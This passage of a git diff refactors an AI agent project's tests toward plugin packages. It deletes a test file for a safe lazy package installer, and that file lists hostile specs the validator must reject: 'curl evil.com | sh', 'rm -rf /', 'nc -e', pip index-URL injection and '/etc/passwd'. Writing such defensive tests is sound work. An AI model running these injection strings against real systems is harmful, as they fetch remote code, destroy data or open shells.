"sk-ant-setup-old" - agent._anthropic_client = MagicMock() - agent._is_anthropic_oauth = True - - with ( - patch("agent.anthropic_adapter.resolve_anthropic_token", - return_value="sk-ant-api03-new-key"), - patch("agent.anthropic_adapter.build_anthropic_client", - return_value=MagicMock()), - ): - result = agent._try_refresh_anthropic_client_credentials() - - assert result is True - assert agent._is_anthropic_oauth is False - - -class TestFallbackSetsOAuthFlag: - """_try_activate_fallback must set _is_anthropic_oauth for Anthropic fallbacks.""" - - def test_fallback_to_anthropic_oauth_sets_flag(self, agent): - agent._fallback_activated = False - agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-6"} - agent._fallback_chain = [agent._fallback_model] - agent._fallback_index = 0 - - mock_client = MagicMock() - mock_client.base_url = "https://api.anthropic.com/v1" - mock_client.api_key = "sk-ant-setup-oauth-token" - - with ( - patch("agent.auxiliary_client.resolve_provider_client", - return_value=(mock_client, None)), - patch("agent.anthropic_adapter.build_anthropic_client", - return_value=MagicMock()), - patch("agent.anthropic_adapter.resolve_anthropic_token", - return_value=None), - ): - result = agent._try_activate_fallback() - - assert result is True - assert agent._is_anthropic_oauth is True - - def test_fallback_to_anthropic_api_key_clears_flag(self, agent): - agent._fallback_activated = False - agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-6"} - agent._fallback_chain = [agent._fallback_model] - agent._fallback_index = 0 - - mock_client = MagicMock() - mock_client.base_url = "https://api.anthropic.com/v1" - mock_client.api_key = "sk-ant-api03-regular-key" - - with ( - patch("agent.auxiliary_client.resolve_provider_client", - return_value=(mock_client, None)), - patch("agent.anthropic_adapter.build_anthropic_client", - return_value=MagicMock()), - patch("agent.anthropic_adapter.resolve_anthropic_token", - return_value=None), - ): - result = agent._try_activate_fallback() - - assert result is True - assert agent._is_anthropic_oauth is False - - class TestMemoryNudgeCounterPersistence: """_turns_since_memory must persist across run_conversation calls.""" diff --git a/tests/run_agent/test_switch_model_fallback_prune.py b/tests/run_agent/test_switch_model_fallback_prune.py index f0600c7ee8f..4a7ba764cac 100644 --- a/tests/run_agent/test_switch_model_fallback_prune.py +++ b/tests/run_agent/test_switch_model_fallback_prune.py @@ -10,6 +10,7 @@ model and the tui keeps trying openrouter". from unittest.mock import MagicMock, patch from run_agent import AIAgent +from agent.plugin_registries import registries def _make_agent(chain): @@ -39,9 +40,11 @@ def _make_agent(chain): def _switch_to_anthropic(agent): with ( - patch("agent.anthropic_adapter.build_anthropic_client", return_value=MagicMock()), - patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="sk-ant-xyz"), - patch("agent.anthropic_adapter._is_oauth_token", return_value=False), + patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": MagicMock(return_value=MagicMock()), + "resolve_anthropic_token": MagicMock(return_value="sk-ant-xyz"), + "_is_oauth_token": MagicMock(return_value=False), + }}), patch("hermes_cli.timeouts.get_provider_request_timeout", return_value=None), ): agent.switch_model( diff --git a/tests/test_ctx_halving_fix.py b/tests/test_ctx_halving_fix.py index 0dd3ca4e7eb..3a1860c3513 100644 --- a/tests/test_ctx_halving_fix.py +++ b/tests/test_ctx_halving_fix.py @@ -101,51 +101,6 @@ class TestParseAvailableOutputTokens: assert self._parse(msg) is None -# --------------------------------------------------------------------------- -# build_anthropic_kwargs — output cap clamping -# --------------------------------------------------------------------------- - -class TestBuildAnthropicKwargsClamping: - """The context_length clamp only fires when output ceiling > window. - For standard Anthropic models (output ceiling < window) it must not fire. - """ - - def _build(self, model, max_tokens=None, context_length=None): - from agent.anthropic_adapter import build_anthropic_kwargs - return build_anthropic_kwargs( - model=model, - messages=[{"role": "user", "content": "hi"}], - tools=None, - max_tokens=max_tokens, - reasoning_config=None, - context_length=context_length, - ) - - def test_no_clamping_when_output_ceiling_fits_in_window(self): - """Opus 4.6 native output (128K) < context window (200K) — no clamping.""" - kwargs = self._build("claude-opus-4-6", context_length=200_000) - assert kwargs["max_tokens"] == 128_000 - - def test_clamping_fires_for_tiny_custom_window(self): - """When context_length is 8K (local model), output cap is clamped to 7999.""" - kwargs = self._build("claude-opus-4-6", context_length=8_000) - assert kwargs["max_tokens"] == 7_999 - - def test_explicit_max_tokens_respected_when_within_window(self): - """Explicit max_tokens smaller than window passes through unchanged.""" - kwargs = self._build("claude-opus-4-6", max_tokens=4096, context_length=200_000) - assert kwargs["max_tokens"] == 4096 - - def test_explicit_max_tokens_clamped_when_exceeds_window(self): - """Explicit max_tokens larger than a small window is clamped.""" - kwargs = self._build("claude-opus-4-6", max_tokens=32_768, context_length=16_000) - assert kwargs["max_tokens"] == 15_999 - - def test_no_context_length_uses_native_ceiling(self): - """Without context_length the native output ceiling is used directly.""" - kwargs = self._build("claude-sonnet-4-6") - assert kwargs["max_tokens"] == 64_000 - # --------------------------------------------------------------------------- # Ephemeral max_tokens mechanism — _build_api_kwargs diff --git a/tests/test_packaging_metadata.py b/tests/test_packaging_metadata.py index ce6d4793fd1..0d9d4af416d 100644 --- a/tests/test_packaging_metadata.py +++ b/tests/test_packaging_metadata.py @@ -11,8 +11,10 @@ def test_faster_whisper_is_not_a_base_dependency(): assert not any(dep.startswith("faster-whisper") for dep in deps) - voice_extra = data["project"]["optional-dependencies"]["voice"] - assert any(dep.startswith("faster-whisper") for dep in voice_extra) + # faster-whisper now lives in the stt plugin, not the root voice extra + stt_plugin = tomllib.loads((REPO_ROOT / "plugins/stt/pyproject.toml").read_text(encoding="utf-8")) + stt_deps = stt_plugin["project"]["dependencies"] + assert any(dep.startswith("faster-whisper") for dep in stt_deps) def test_manifest_includes_bundled_skills(): diff --git a/tests/test_project_metadata.py b/tests/test_project_metadata.py index d0449daad6f..1e5b2f9bae5 100644 --- a/tests/test_project_metadata.py +++ b/tests/test_project_metadata.py @@ -24,92 +24,77 @@ def test_matrix_extra_not_in_all(): modern macOS (archived libolm, C++ errors with Clang 21+). With matrix in [all], `uv sync --locked` on Windows tried to build - python-olm from sdist and failed on `make`. As of 2026-05-12 the - [matrix] extra is excluded from [all] entirely and routed through - `tools/lazy_deps.py` (LAZY_DEPS["platform.matrix"]) — installs at - first use, where the user is expected to have a toolchain. + python-olm from sdist and failed on `make`. The [matrix] extra is + excluded from [all] — users opt in via `pip install hermes-agent[matrix]`. """ optional_dependencies = _load_optional_dependencies() - assert "matrix" in optional_dependencies, "[matrix] extra must still exist for explicit `pip install hermes-agent[matrix]`" - # Must NOT appear in [all] in any form — neither unconditional nor - # platform-gated. Lazy-install handles it. + assert "matrix" in optional_dependencies, ( + "[matrix] extra must still exist for explicit `pip install hermes-agent[matrix]`" + ) matrix_in_all = [ dep for dep in optional_dependencies["all"] if "matrix" in dep ] assert not matrix_in_all, ( - "matrix must not appear in [all] — it's lazy-installed via " - "tools/lazy_deps.py LAZY_DEPS['platform.matrix']. Found: " + f"matrix must not appear in [all] — it's an opt-in plugin. Found: " f"{matrix_in_all}" ) -def test_lazy_installable_extras_excluded_from_all(): - """Policy (2026-05-12): every extra that has a `LAZY_DEPS` entry - in `tools/lazy_deps.py` must be excluded from [all]. +def test_plugin_extras_are_workspace_member_refs(): + """Every plugin extra in pyproject.toml should reference a workspace + member package (e.g. ``hermes-agent-anthropic``), not inline dep specs. - The lazy-install system exists so one quarantined PyPI release - (e.g. mistralai 2.4.6) can't break every fresh install. Putting a - backend in BOTH [all] and LAZY_DEPS defeats that — fresh installs - eager-install it and inherit whatever's broken upstream. - - If you're tempted to add an opt-in backend to [all] for "convenience," - add it to `LAZY_DEPS` instead so it installs at first use. + This ensures the single source of truth for plugin deps is the plugin's + own pyproject.toml, not the main package's extras. """ optional_dependencies = _load_optional_dependencies() - # Hard-coded mirror of the extras that are in LAZY_DEPS as of - # 2026-05-12. This list intentionally duplicates rather than - # imports tools/lazy_deps.py so the test stays a contract — if - # someone adds a new lazy-install backend, they have to update - # this list AND verify [all] doesn't contain it. - lazy_covered_extras = { - "anthropic", "bedrock", - "exa", "firecrawl", "parallel-web", - "fal", - "edge-tts", "tts-premium", - "voice", # faster-whisper / sounddevice / numpy - "modal", "daytona", "vercel", - "messaging", "slack", "matrix", "dingtalk", "feishu", + # Extras that are known plugin workspace members + plugin_extras = { + "anthropic", "bedrock", "azure-identity", + "discord", "exa", "firecrawl", "parallel", "honcho", "hindsight", + "fal", "tts", "stt", + "daytona", "vercel", "modal", + "telegram", "slack", "dingtalk", "feishu", "matrix", + "dashboard", } - all_extra_specs = optional_dependencies["all"] - for extra in lazy_covered_extras: - offending = [ - spec for spec in all_extra_specs - if f"hermes-agent[{extra}]" in spec - ] - assert not offending, ( - f"[{extra}] is in [all] but also in LAZY_DEPS. " - f"Remove it from [all] in pyproject.toml — it lazy-installs " - f"at first use. Found in [all]: {offending}" - ) - -def test_messaging_extra_includes_qrcode_for_weixin_setup(): - optional_dependencies = _load_optional_dependencies() - - messaging_extra = optional_dependencies["messaging"] - assert any(dep.startswith("qrcode") for dep in messaging_extra) + for extra in plugin_extras: + if extra not in optional_dependencies: + continue + specs = optional_dependencies[extra] + for spec in specs: + assert spec.startswith("hermes-agent-"), ( + f"[{extra}] extra should reference a workspace member, " + f"not an inline dep spec. Got: {spec}" + ) def test_dingtalk_extra_includes_qrcode_for_qr_auth(): """DingTalk's QR-code device-flow auth (hermes_cli/dingtalk_auth.py) - needs the qrcode package.""" - optional_dependencies = _load_optional_dependencies() - - dingtalk_extra = optional_dependencies["dingtalk"] - assert any(dep.startswith("qrcode") for dep in dingtalk_extra) + needs the qrcode package — verify it's in the dingtalk plugin's deps.""" + pyproject_path = Path(__file__).resolve().parents[1] / "plugins" / "platforms" / "dingtalk" / "pyproject.toml" + with pyproject_path.open("rb") as handle: + project = tomllib.load(handle)["project"] + deps = project.get("dependencies", []) + assert any("qrcode" in d for d in deps), ( + f"hermes-agent-dingtalk should depend on qrcode. deps: {deps}" + ) def test_feishu_extra_includes_qrcode_for_qr_login(): - """Feishu's QR login flow (gateway/platforms/feishu.py) needs the - qrcode package.""" - optional_dependencies = _load_optional_dependencies() - - feishu_extra = optional_dependencies["feishu"] - assert any(dep.startswith("qrcode") for dep in feishu_extra) + """Feishu's QR login flow needs the qrcode package — verify it's in + the feishu plugin's deps.""" + pyproject_path = Path(__file__).resolve().parents[1] / "plugins" / "platforms" / "feishu" / "pyproject.toml" + with pyproject_path.open("rb") as handle: + project = tomllib.load(handle)["project"] + deps = project.get("dependencies", []) + assert any("qrcode" in d for d in deps), ( + f"hermes-agent-feishu should depend on qrcode. deps: {deps}" + ) def test_dashboard_plugin_manifests_and_assets_are_packaged(): diff --git a/tests/tools/conftest.py b/tests/tools/conftest.py index 494dd206a1e..53bc73ea483 100644 --- a/tests/tools/conftest.py +++ b/tests/tools/conftest.py @@ -65,5 +65,5 @@ def disable_lazy_stt_install(): Opt in at module scope with ``pytestmark = pytest.mark.usefixtures("disable_lazy_stt_install")``. """ - with patch("tools.transcription_tools._try_lazy_install_stt", return_value=False): + with patch("hermes_agent_stt.transcription_tools._try_lazy_install_stt", return_value=False): yield diff --git a/tests/tools/test_computer_use.py b/tests/tools/test_computer_use.py index 44a97db47ac..58549d0c330 100644 --- a/tests/tools/test_computer_use.py +++ b/tests/tools/test_computer_use.py @@ -594,130 +594,6 @@ class TestCaptureResponse: assert "truncated to" not in out["text_summary"] -# --------------------------------------------------------------------------- -# Anthropic adapter: multimodal tool-result conversion -# --------------------------------------------------------------------------- - -class TestAnthropicAdapterMultimodal: - def test_multimodal_envelope_becomes_tool_result_with_image_block(self): - from agent.anthropic_adapter import convert_messages_to_anthropic - - fake_png = "iVBORw0KGgo=" - messages = [ - {"role": "user", "content": "take a screenshot"}, - { - "role": "assistant", - "content": "", - "tool_calls": [{ - "id": "call_1", - "type": "function", - "function": {"name": "computer_use", "arguments": "{}"}, - }], - }, - { - "role": "tool", - "tool_call_id": "call_1", - "content": { - "_multimodal": True, - "content": [ - {"type": "text", "text": "1 element"}, - {"type": "image_url", - "image_url": {"url": f"data:image/png;base64,{fake_png}"}}, - ], - "text_summary": "1 element", - }, - }, - ] - _, anthropic_msgs = convert_messages_to_anthropic(messages) - tool_result_msgs = [m for m in anthropic_msgs if m["role"] == "user" - and isinstance(m["content"], list) - and any(b.get("type") == "tool_result" for b in m["content"])] - assert tool_result_msgs, "expected a tool_result user message" - tr = next(b for b in tool_result_msgs[-1]["content"] if b.get("type") == "tool_result") - inner = tr["content"] - assert any(b.get("type") == "image" for b in inner) - assert any(b.get("type") == "text" for b in inner) - - def test_old_screenshots_are_evicted_beyond_max_keep(self): - """Image blocks in old tool_results get replaced with placeholders.""" - from agent.anthropic_adapter import convert_messages_to_anthropic - - fake_png = "iVBORw0KGgo=" - - def _mm_tool(call_id: str) -> Dict[str, Any]: - return { - "role": "tool", - "tool_call_id": call_id, - "content": { - "_multimodal": True, - "content": [ - {"type": "text", "text": "cap"}, - {"type": "image_url", - "image_url": {"url": f"data:image/png;base64,{fake_png}"}}, - ], - "text_summary": "cap", - }, - } - - # Build 5 screenshots interleaved with assistant messages. - messages: List[Dict[str, Any]] = [{"role": "user", "content": "start"}] - for i in range(5): - messages.append({ - "role": "assistant", "content": "", - "tool_calls": [{ - "id": f"call_{i}", - "type": "function", - "function": {"name": "computer_use", "arguments": "{}"}, - }], - }) - messages.append(_mm_tool(f"call_{i}")) - messages.append({"role": "assistant", "content": "done"}) - - _, anthropic_msgs = convert_messages_to_anthropic(messages) - - # Walk tool_result blocks in order; the OLDEST (5 - 3) = 2 should be - # text-only placeholders, newest 3 should still carry image blocks. - tool_results = [] - for m in anthropic_msgs: - if m["role"] != "user" or not isinstance(m["content"], list): - continue - for b in m["content"]: - if b.get("type") == "tool_result": - tool_results.append(b) - - assert len(tool_results) == 5 - with_images = [ - b for b in tool_results - if isinstance(b.get("content"), list) - and any(x.get("type") == "image" for x in b["content"]) - ] - placeholders = [ - b for b in tool_results - if isinstance(b.get("content"), list) - and any( - x.get("type") == "text" - and "screenshot removed" in x.get("text", "") - for x in b["content"] - ) - ] - assert len(with_images) == 3 - assert len(placeholders) == 2 - - def test_content_parts_helper_filters_to_text_and_image(self): - from agent.anthropic_adapter import _content_parts_to_anthropic_blocks - - fake_png = "iVBORw0KGgo=" - blocks = _content_parts_to_anthropic_blocks([ - {"type": "text", "text": "hi"}, - {"type": "image_url", "image_url": {"url": f"data:image/png;base64,{fake_png}"}}, - {"type": "unsupported", "data": "ignored"}, - ]) - types = [b["type"] for b in blocks] - assert "text" in types - assert "image" in types - assert len(blocks) == 2 - - # --------------------------------------------------------------------------- # Context compressor: screenshot-aware pruning # --------------------------------------------------------------------------- diff --git a/tests/tools/test_config_null_guard.py b/tests/tools/test_config_null_guard.py index a6ab64009ce..b73072d1fe5 100644 --- a/tests/tools/test_config_null_guard.py +++ b/tests/tools/test_config_null_guard.py @@ -16,20 +16,20 @@ class TestTTSProviderNullGuard: def test_explicit_null_provider_returns_default(self): """YAML ``tts: {provider: null}`` should fall back to default.""" - from tools.tts_tool import _get_provider, DEFAULT_PROVIDER + from hermes_agent_tts import _get_provider, DEFAULT_PROVIDER result = _get_provider({"provider": None}) assert result == DEFAULT_PROVIDER.lower().strip() def test_missing_provider_returns_default(self): """No ``provider`` key at all should also return default.""" - from tools.tts_tool import _get_provider, DEFAULT_PROVIDER + from hermes_agent_tts import _get_provider, DEFAULT_PROVIDER result = _get_provider({}) assert result == DEFAULT_PROVIDER.lower().strip() def test_valid_provider_passed_through(self): - from tools.tts_tool import _get_provider + from hermes_agent_tts import _get_provider result = _get_provider({"provider": "OPENAI"}) assert result == "openai" diff --git a/tests/tools/test_lazy_deps.py b/tests/tools/test_lazy_deps.py deleted file mode 100644 index 714c5995eaa..00000000000 --- a/tests/tools/test_lazy_deps.py +++ /dev/null @@ -1,407 +0,0 @@ -"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer. - -The lazy_deps module is the architectural fix for the "one quarantined -package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)`` -which only installs from a strict allowlist, refuses anything that looks -like a URL / file path, runs venv-scoped, and respects the -``security.allow_lazy_installs`` config flag. - -These tests cover the security boundary and the public API. The real pip -call is mocked — we never actually shell out during unit tests. -""" - -from __future__ import annotations - -from typing import Iterator - -import pytest - -import tools.lazy_deps as ld - - -# --------------------------------------------------------------------------- -# Spec safety -# --------------------------------------------------------------------------- - - -class TestSpecSafety: - @pytest.mark.parametrize("spec", [ - "mistralai>=2.3.0,<3", - "elevenlabs>=1.0,<2", - "honcho-ai>=2.0.1,<3", - "boto3>=1.35.0,<2", - "mautrix[encryption]>=0.20,<1", - "google-api-python-client>=2.100,<3", - "youtube-transcript-api>=1.2.0", - "qrcode>=7.0,<8", - "package", # bare name, no version - "package==1.0.0", - "package~=1.0", - ]) - def test_safe_specs_pass(self, spec): - assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe" - - @pytest.mark.parametrize("spec", [ - # URL-shaped → rejected (no remote origin override allowed) - "git+https://github.com/foo/bar.git", - "https://example.com/foo.tar.gz", - # File path → rejected - "/etc/passwd", - "./local-malware", - "../escape", - # Shell metacharacters → rejected - "package; rm -rf /", - "package && curl evil.com | sh", - "package`whoami`", - "package$(whoami)", - "package|nc -e", - # Pip flag injection → rejected - "--index-url=http://evil/", - "-r requirements.txt", - # Whitespace control chars → rejected - "package\nshell-injection", - "package\rmore", - # Empty / overly long → rejected - "", - "x" * 500, - ]) - def test_unsafe_specs_rejected(self, spec): - assert not ld._spec_is_safe(spec), \ - f"expected {spec!r} to be rejected" - - -# --------------------------------------------------------------------------- -# Allowlist enforcement -# --------------------------------------------------------------------------- - - -class TestAllowlist: - def test_unknown_feature_raises(self, monkeypatch): - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"): - ld.ensure("not.a.real.feature") - - def test_lazy_deps_keys_use_namespace_dot_name(self): - # Sanity check on the data shape — every key should be at least - # one dot-separated namespace. - for key in ld.LAZY_DEPS: - assert "." in key, f"feature {key!r} should be namespace.name" - - def test_every_lazy_dep_spec_passes_safety(self): - # Defence in depth — even though specs are author-controlled, - # the safety regex must accept everything we ship. - for feature, specs in ld.LAZY_DEPS.items(): - for spec in specs: - assert ld._spec_is_safe(spec), \ - f"{feature}: spec {spec!r} fails safety check" - - def test_feature_install_command_returns_pip_invocation(self): - cmd = ld.feature_install_command("memory.honcho") - assert cmd is not None - assert cmd.startswith("uv pip install") - assert "honcho-ai" in cmd - - def test_feature_install_command_unknown(self): - assert ld.feature_install_command("not.real") is None - - -# --------------------------------------------------------------------------- -# allow_lazy_installs gating -# --------------------------------------------------------------------------- - - -class TestSecurityGating: - def test_disabled_via_config_raises(self, monkeypatch): - # Pretend honcho is missing AND lazy installs are disabled. - monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False) - with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"): - ld.ensure("test.feat", prompt=False) - - def test_disabled_via_env_var(self, monkeypatch): - monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") - # Bypass config layer; the env var alone must disable. - monkeypatch.setattr( - "hermes_cli.config.load_config", - lambda: {"security": {"allow_lazy_installs": True}}, - ) - assert ld._allow_lazy_installs() is False - - def test_default_allows(self, monkeypatch): - monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) - monkeypatch.setattr( - "hermes_cli.config.load_config", - lambda: {"security": {}}, - ) - assert ld._allow_lazy_installs() is True - - def test_config_failure_fails_open(self, monkeypatch): - # If config can't be read at all, we ALLOW installs rather than - # blocking the user out of their own backends. - monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) - monkeypatch.setattr( - "hermes_cli.config.load_config", - lambda: (_ for _ in ()).throw(RuntimeError("config broken")), - ) - assert ld._allow_lazy_installs() is True - - -# --------------------------------------------------------------------------- -# ensure() happy/sad paths -# --------------------------------------------------------------------------- - - -class TestEnsure: - def test_already_satisfied_is_noop(self, monkeypatch): - # If the package is importable, ensure() returns without calling pip. - monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) - # If pip were called, this would fail loudly. - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda *a, **kw: pytest.fail("pip should not be called"), - ) - ld.ensure("test.satisfied", prompt=False) # no exception - - def test_install_success_path(self, monkeypatch): - monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",)) - # First check sees missing, post-install check sees installed. - call_count = {"n": 0} - - def fake_satisfied(spec): - call_count["n"] += 1 - return call_count["n"] > 1 # missing first, installed after - - monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda specs, **kw: ld._InstallResult(True, "ok", ""), - ) - ld.ensure("test.install", prompt=False) - - def test_install_failure_surfaces_pip_stderr(self, monkeypatch): - monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda specs, **kw: ld._InstallResult( - False, "", "ERROR: package not found on PyPI" - ), - ) - with pytest.raises(ld.FeatureUnavailable, match="pip install failed"): - ld.ensure("test.fail", prompt=False) - - def test_install_succeeds_but_still_missing_raises(self, monkeypatch): - # Pip says success but the package still isn't importable - # (e.g. site-packages caching, wrong python). Surface this. - monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda specs, **kw: ld._InstallResult(True, "ok", ""), - ) - with pytest.raises(ld.FeatureUnavailable, match="still not importable"): - ld.ensure("test.cache", prompt=False) - - -# --------------------------------------------------------------------------- -# is_available -# --------------------------------------------------------------------------- - - -class TestIsAvailable: - def test_unknown_feature_returns_false(self): - assert ld.is_available("not.a.thing") is False - - def test_satisfied_returns_true(self, monkeypatch): - monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) - assert ld.is_available("test.avail") is True - - def test_missing_returns_false(self, monkeypatch): - monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - assert ld.is_available("test.miss") is False - - -# --------------------------------------------------------------------------- -# Version-aware _is_satisfied (Piece B — "stale pin" detection) -# -# The original implementation returned True the moment the package name -# was importable, ignoring the spec's version range. That meant pin bumps -# in LAZY_DEPS never propagated to users who already lazy-installed the -# backend at an older version. _is_satisfied now parses the spec and -# checks the installed version against the constraint. -# --------------------------------------------------------------------------- - - -class TestIsSatisfiedVersionAware: - def _fake_version(self, monkeypatch, installed_versions: dict): - """Patch importlib.metadata.version() inside lazy_deps.""" - from importlib.metadata import PackageNotFoundError - - def _version(pkg): - if pkg in installed_versions: - return installed_versions[pkg] - raise PackageNotFoundError(pkg) - - # Patch at the import site lazy_deps uses (inside the function). - import importlib.metadata as _md - monkeypatch.setattr(_md, "version", _version) - - def test_exact_pin_match_returns_true(self, monkeypatch): - self._fake_version(monkeypatch, {"honcho-ai": "2.0.1"}) - assert ld._is_satisfied("honcho-ai==2.0.1") is True - - def test_exact_pin_mismatch_returns_false(self, monkeypatch): - # Installed 2.0.0, spec requires 2.0.1 → False (needs upgrade). - self._fake_version(monkeypatch, {"honcho-ai": "2.0.0"}) - assert ld._is_satisfied("honcho-ai==2.0.1") is False - - def test_range_within_returns_true(self, monkeypatch): - self._fake_version(monkeypatch, {"slack-bolt": "1.27.0"}) - assert ld._is_satisfied("slack-bolt>=1.18.0,<2") is True - - def test_range_above_returns_false(self, monkeypatch): - # Installed too new for the upper bound. - self._fake_version(monkeypatch, {"slack-bolt": "2.0.0"}) - assert ld._is_satisfied("slack-bolt>=1.18.0,<2") is False - - def test_range_below_returns_false(self, monkeypatch): - self._fake_version(monkeypatch, {"slack-bolt": "1.0.0"}) - assert ld._is_satisfied("slack-bolt>=1.18.0,<2") is False - - def test_package_not_installed_returns_false(self, monkeypatch): - self._fake_version(monkeypatch, {}) - assert ld._is_satisfied("anthropic==0.86.0") is False - - def test_bare_package_name_presence_is_enough(self, monkeypatch): - # No version constraint — presence alone counts as satisfied. - self._fake_version(monkeypatch, {"somepkg": "1.0.0"}) - assert ld._is_satisfied("somepkg") is True - - def test_extras_block_in_spec_is_stripped(self, monkeypatch): - # mautrix[encryption]==0.21.0 — the [encryption] block must not - # confuse the specifier parser. - self._fake_version(monkeypatch, {"mautrix": "0.21.0"}) - assert ld._is_satisfied("mautrix[encryption]==0.21.0") is True - - def test_extras_block_mismatch_returns_false(self, monkeypatch): - self._fake_version(monkeypatch, {"mautrix": "0.20.0"}) - assert ld._is_satisfied("mautrix[encryption]==0.21.0") is False - - -# --------------------------------------------------------------------------- -# active_features + refresh_active_features (Piece A — hermes update wiring) -# --------------------------------------------------------------------------- - - -class TestActiveFeatures: - def test_no_packages_installed_returns_empty(self, monkeypatch): - monkeypatch.setattr(ld, "_is_present", lambda spec: False) - assert ld.active_features() == [] - - def test_finds_features_with_at_least_one_package_installed(self, monkeypatch): - # Pretend only honcho-ai is installed; nothing else. - monkeypatch.setattr( - ld, "_is_present", - lambda spec: ld._pkg_name_from_spec(spec) == "honcho-ai", - ) - active = ld.active_features() - assert "memory.honcho" in active - # Backends the user never enabled stay quiet. - assert "memory.hindsight" not in active - assert "platform.slack" not in active - - def test_multi_package_feature_active_if_any_present(self, monkeypatch): - # platform.slack has 3 packages; only one needs to be present - # for the feature to count as active (user activated it before, - # one transitive may have been uninstalled separately). - monkeypatch.setattr( - ld, "_is_present", - lambda spec: ld._pkg_name_from_spec(spec) == "slack-bolt", - ) - assert "platform.slack" in ld.active_features() - - -class TestRefreshActiveFeatures: - def test_no_active_features_returns_empty(self, monkeypatch): - monkeypatch.setattr(ld, "active_features", lambda: []) - assert ld.refresh_active_features() == {} - - def test_already_current_is_noop(self, monkeypatch): - monkeypatch.setattr(ld, "active_features", lambda: ["test.feat"]) - monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("zzzfake==1.0.0",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) - # If pip were called, this would fail loudly. - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda *a, **kw: pytest.fail("pip should not be called"), - ) - result = ld.refresh_active_features() - assert result == {"test.feat": "current"} - - def test_stale_pin_triggers_reinstall(self, monkeypatch): - monkeypatch.setattr(ld, "active_features", lambda: ["test.feat"]) - monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("zzzfake==2.0.0",)) - # First _is_satisfied check (in feature_missing) says no; after - # install, post-install check says yes. - states = iter([False, True]) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: next(states)) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda specs, **kw: ld._InstallResult(True, "ok", ""), - ) - result = ld.refresh_active_features() - assert result == {"test.feat": "refreshed"} - - def test_install_failure_recorded_not_raised(self, monkeypatch): - # A failed refresh must NOT raise out of hermes update. - monkeypatch.setattr(ld, "active_features", lambda: ["test.feat"]) - monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("zzzfake==2.0.0",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda specs, **kw: ld._InstallResult( - False, "", "ERROR: PyPI 404 quarantine" - ), - ) - result = ld.refresh_active_features() - assert "test.feat" in result - assert result["test.feat"].startswith("failed:") - assert "404 quarantine" in result["test.feat"] - - def test_lazy_installs_disabled_marked_skipped(self, monkeypatch): - # security.allow_lazy_installs=false → don't error, mark skipped - # so hermes update can render "respecting your config" message. - monkeypatch.setattr(ld, "active_features", lambda: ["test.feat"]) - monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("zzzfake==2.0.0",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False) - result = ld.refresh_active_features() - assert "test.feat" in result - assert result["test.feat"].startswith("skipped:") - - def test_mixed_results_returns_per_feature_status(self, monkeypatch): - monkeypatch.setattr(ld, "active_features", lambda: ["a.ok", "b.fail"]) - monkeypatch.setitem(ld.LAZY_DEPS, "a.ok", ("pkga==1.0",)) - monkeypatch.setitem(ld.LAZY_DEPS, "b.fail", ("pkgb==1.0",)) - # a.ok: already satisfied → "current" - # b.fail: missing + install fails → "failed:" - def fake_satisfied(spec): - return ld._pkg_name_from_spec(spec) == "pkga" - monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda specs, **kw: ld._InstallResult(False, "", "nope"), - ) - result = ld.refresh_active_features() - assert result["a.ok"] == "current" - assert result["b.fail"].startswith("failed:") diff --git a/tests/tools/test_modal_bulk_upload.py b/tests/tools/test_modal_bulk_upload.py index e179e702aa2..8c55ce0187e 100644 --- a/tests/tools/test_modal_bulk_upload.py +++ b/tests/tools/test_modal_bulk_upload.py @@ -9,7 +9,7 @@ from unittest.mock 